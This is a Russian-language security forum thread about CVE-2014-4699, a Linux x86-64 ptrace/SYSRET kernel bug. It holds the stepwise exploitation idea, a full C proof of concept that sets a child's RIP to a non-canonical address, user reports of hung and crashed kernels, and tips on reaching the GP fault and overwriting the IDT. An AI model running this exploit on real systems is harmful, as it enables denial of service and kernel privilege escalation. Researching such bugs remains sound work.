Старый 05.07.2014, 11:08   #1
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию CVE-2014-4699 Linux ptrace_event SYSRET bug [x64]

CVE-2014-4699

Для 64-битных ядер, возможно начиная с 2.6.17.

http://seclists.org/oss-sec/2014/q3/40
http://git.kernel.org/cgit/linux/ker...ca99ed5aa4d43a
https://bugzilla.redhat.com/show_bug.cgi?id=1115927
SynQ вне форума   Ответить с цитированием
Старый 07.07.2014, 11:06   #2
vnik
 
Регистрация: 07.07.2014
Сообщений: 7
Репутация: 0
По умолчанию

PoC был обещан на этой неделе. пока непонятно где sysret используется в ptrace_stop? мне кажется этот баг похож на sysret bug несколко лет назад (2005-2006 и 2012). The exploitation procedure is along the lines:

1. ptrace a process
2. set %rip to a non-canonical address, i.e., > ((1 << 47) - PAGE_SIZE))
3. this would cause a GP in ring0 without a stack switch because of sysret
vnik вне форума   Ответить с цитированием
Старый 07.07.2014, 11:17   #3
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

vnik
Виталий, рад видеть на форуме!

В тему призывается overxor

Цитата:
@grsecurity: Expect exploits against upstream within the next month...
NB Начиная с 3.10 IDT - read-only.
SynQ вне форума   Ответить с цитированием
Старый 07.07.2014, 11:33   #4
vnik
 
Регистрация: 07.07.2014
Сообщений: 7
Репутация: 0
По умолчанию

спасибо. я пытался generate a GP fault используя non-canonical addresses но пока безуспешно..
vnik вне форума   Ответить с цитированием
Старый 09.07.2014, 08:25   #5
marky
 
Регистрация: 07.12.2013
Сообщений: 3
Репутация: 0
По умолчанию

POC @ http://t.co/bQQ2Whtemb

Код:
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/syscall.h>
#include <sys/user.h>
#include <unistd.h>
#include <errno.h>
#include <stddef.h>
#include <stdio.h>
#include <err.h>

static siginfo_t wait_trap(pid_t chld)
{
	siginfo_t si;
	if (waitid(P_PID, chld, &si, WEXITED|WSTOPPED) != 0)
		err(1, "waitid");
	if (si.si_pid != chld)
		errx(1, "got unexpected pid in event\n");
	if (si.si_code != CLD_TRAPPED)
		errx(1, "got unexpected event type %d\n", si.si_code);
	return si;
}

int main()
{
	unsigned long tmp;

	pid_t chld = fork();
	if (chld < 0)
		err(1, "fork");

	if (chld == 0) {
		if (ptrace(PTRACE_TRACEME, 0, 0, 0) != 0)
			err(1, "PTRACE_TRACEME");
		raise(SIGSTOP);

		fork();
		return 0;
	}

	int status;

	/* Wait for SIGSTOP and enable seccomp tracing. */
	if (waitpid(chld, &status, 0) != chld || !WIFSTOPPED(status))
		err(1, "waitpid");

	if (ptrace(PTRACE_SETOPTIONS, chld, 0, PTRACE_O_TRACEFORK) != 0)
		err(1, "PTRACE_O_TRACEFORK");
	if (ptrace(PTRACE_CONT, chld, 0, 0) != 0)
		err(1, "PTRACE_CONT");

	wait_trap(chld);

	errno = 0;
	tmp = ptrace(PTRACE_PEEKUSER, chld,
		     offsetof(struct user_regs_struct, rip), NULL);
	if (errno)
		err(1, "PTRACE_PEEKUSER");
	printf("child RIP = 0x%lx\n", tmp);

	if (ptrace(PTRACE_POKEUSER, chld,
		   offsetof(struct user_regs_struct, rip), (void *)(1ULL << 48)) != 0)
		err(1, "PTRACE_POKEUSER");

	errno = 0;
	tmp = ptrace(PTRACE_PEEKUSER, chld, offsetof(struct user_regs_struct, rip), NULL);
	if (errno)
		err(1, "PTRACE_PEEKUSER");
	printf("child RIP = 0x%lx\n", tmp);

	if (ptrace(PTRACE_CONT, chld, 0, 0) != 0)
		err(1, "PTRACE_CONT");
	ptrace(PTRACE_DETACH, chld, 0, 0);

	return 0;
}

Последний раз редактировалось marky; 09.07.2014 в 08:26.. Причина: Adding C
marky вне форума   Ответить с цитированием
Старый 09.07.2014, 11:16   #6
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

Пробовал на Xubuntu 14.04 и CentOS6: почему-то не срабатывает. Процессор Haswell.

PS Пробовал в VMWare.

Последний раз редактировалось SynQ; 09.07.2014 в 12:34..
SynQ вне форума   Ответить с цитированием
Старый 09.07.2014, 11:43   #7
slashd
 
Регистрация: 06.07.2010
Сообщений: 47
Репутация: 27
По умолчанию

3.12.21-gentoo-r1/Core i7-3610QM намертво подвесило систему..
slashd вне форума   Ответить с цитированием
Старый 10.07.2014, 20:48   #8
Rigmar
 
Регистрация: 29.02.2012
Сообщений: 2
Репутация: 0
По умолчанию

3.14, 3.12 ядра - работает. Как видимо и везде. Все на VMware. Хотя падать в general_protection не хочет упорно. Только в double_fault. И не с юзермодным стэком.

UPD: Кто нить может объяснить, почему sysret должен генерить GP, а тригается double_fault)?

Последний раз редактировалось Rigmar; 10.07.2014 в 21:21..
Rigmar вне форума   Ответить с цитированием
Старый 16.07.2014, 23:57   #9
overxor
 
Регистрация: 14.10.2011
Сообщений: 73
Репутация: 90
По умолчанию

Andy Lutomirski в списке рассылки же описал, что если rsp не writable, то будет валиться в DF. Задай rsp, например, на .bss область, тогда попадешь на GP.
__________________
[IO]
overxor вне форума   Ответить с цитированием
Старый 18.07.2014, 00:59   #10
Rigmar
 
Регистрация: 29.02.2012
Сообщений: 2
Репутация: 0
По умолчанию

Угу, правда я до сих пор не могу понять почему юзермодный стэк не writeble. А так, IDT переписывается. http://www.hashcrack.org/exploits/poc_v0.c пок с претензией на исполнение. Правда хардкоды везде. Не проверял.

Последний раз редактировалось Rigmar; 19.07.2014 в 15:08..
Rigmar вне форума   Ответить с цитированием
Ответ

Метки
linux kernel, privilege escalation

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot